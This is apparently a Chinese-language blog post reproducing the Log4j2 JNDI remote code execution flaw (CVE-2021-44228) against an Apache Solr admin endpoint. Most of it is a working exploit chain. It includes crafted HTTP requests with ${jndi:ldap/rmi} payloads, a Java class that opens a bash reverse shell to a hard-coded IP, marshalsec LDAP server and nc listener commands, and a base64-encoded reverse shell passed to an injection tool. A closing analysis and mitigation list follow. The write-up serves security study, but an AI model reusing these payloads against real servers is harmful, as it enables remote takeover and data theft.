发布于 

CVE-2021-44228(Log4j2.x-2.14.1远程代码执行)

1. 漏洞描述

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,通过JNDI注入漏洞,黑客可以恶意构造特殊数据请求包,触发此漏洞,从而成功利用此漏洞可以在目标服务器上执行任意代码。

2. 影响版本

Apache Log4j 2.x - 2.14.1

3. 漏洞复现

3.1 发送DNSLog请求

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下PayLoad:

1
${jndi:dns://${sys:java.version}.4w1t2s.dnslog.cn}

image-20221021191627145

数据包:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /solr/admin/cores?action=${jndi:dns://${sys:java.version}.kp7r2a.dnslog.cn} HTTP/1.1
Host: 8.136.241.0:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

image-20221021191714962

3.2 重定向请求下载恶意class

向目标发送指定 payload,目标对 payload 进行解析执行,然后会通过 ldap 链接远程服务,当 ldap 服务收到请求之后,将请求进行重定向到恶意 java class 的地址,目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。

3.2.1 创建恶意代码

对恶意Java代码的编译得到Log4jRCE.class

1
2
3
4
5
6
7
8
9
10
11
12
13
// Log4jRCE.java
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"/bin/bash","-c","bash -i >& /dev/tcp/192.168.2.187/7777 0>&1"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

3.2.2 创建http下载服务器

启动python自带的http服务器,将Log4jRCE.class 放在服务器根目录下,执行python语句“python3 -m http.server <post> ”会创建一个简易的http服务器,服务器运行后,会以当前命令运行目录作为http服务器根目录。

image-20221021193039527

3.2.3 启动LDAP服务器

1
java -cp marshalsec-all.jar marshalsec.jndi.LDAPRefServer "http://(ip):8000/#Log4jRCE"

image-20221021193443745

3.2.4 启动nc端口监听

1
nc -lvvp 6666

3.2.5 触发恶意class

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /solr/admin/cores?action=${jndi:ldap://(攻击机IP):1389/Log4jRCE}  HTTP/1.1
Host: ip:8983
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

3.2.6 结果

image-20221021215016078

image-20221021215138420

image-20221021215226548

3.3 使用JNDI注入工具

3.3.1 工具使用简介

1
2
3
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
# command为要执行的命令
# address为攻击机的ip地址

3.3.2 使用工具反弹Shell

1
java -jar JNDI-Injection-Exploit-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIuMjAvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A (攻击机IP)

image-20221021202942835

3.3.3 nc监听端口

image-20221021203022811

3.3.4 发包触发恶意Payload

RMI协议
1
/solr/admin/cores?action=${jndi:rmi://(攻击机ip):1099/Exploit}

image-20221021204102673

LDAP协议
1
/solr/admin/cores?action=${jndi:ldap://(攻击机ip):1389/Exploit}

image-20221021204546916

3.3.5 结果

image-20221021204411596

4. 漏洞分析

4.1 触发漏洞的关键代码

org.apache.logging.log4j.core.pattern.MessagePatternConverter类的format()方法发现日志中包含“${”就会将表达式的内容替换为表达式解析后的内容,而不是表达式本身,从而导致攻击者构造符合要求的表达式供系统执行。“${”可使用的关键词非常多,例如:${java:os}${hostName}${jndi:logging/context-name}等。

org.apache.logging.log4j.core.lookup.StrSubstitutor中提取参数并通过lookup进行内容替换,当日志在打印时遇到“${”后,Interpolator类以“”号作为分割,将表达式内容分割成两部分,前面部分作为prefix,后面部分作为key。然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行。

4.2 漏洞大致利用流程

  1. 向目标发送指定payload,目标对payload进行解析执行,然后会通过ldap链接远程服务,当ldap服务收到请求之后,将请求进行重定向到恶意 java class的地址。
  2. 目标服务器收到重定向请求之后,下载恶意class并执行其中的代码,从而执行系统命令。

5. 修复建议

  1. 添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true
  2. 在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;
  3. JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;
  4. 部署使用第三方防火墙产品进行安全防护。
  5. 升级最新版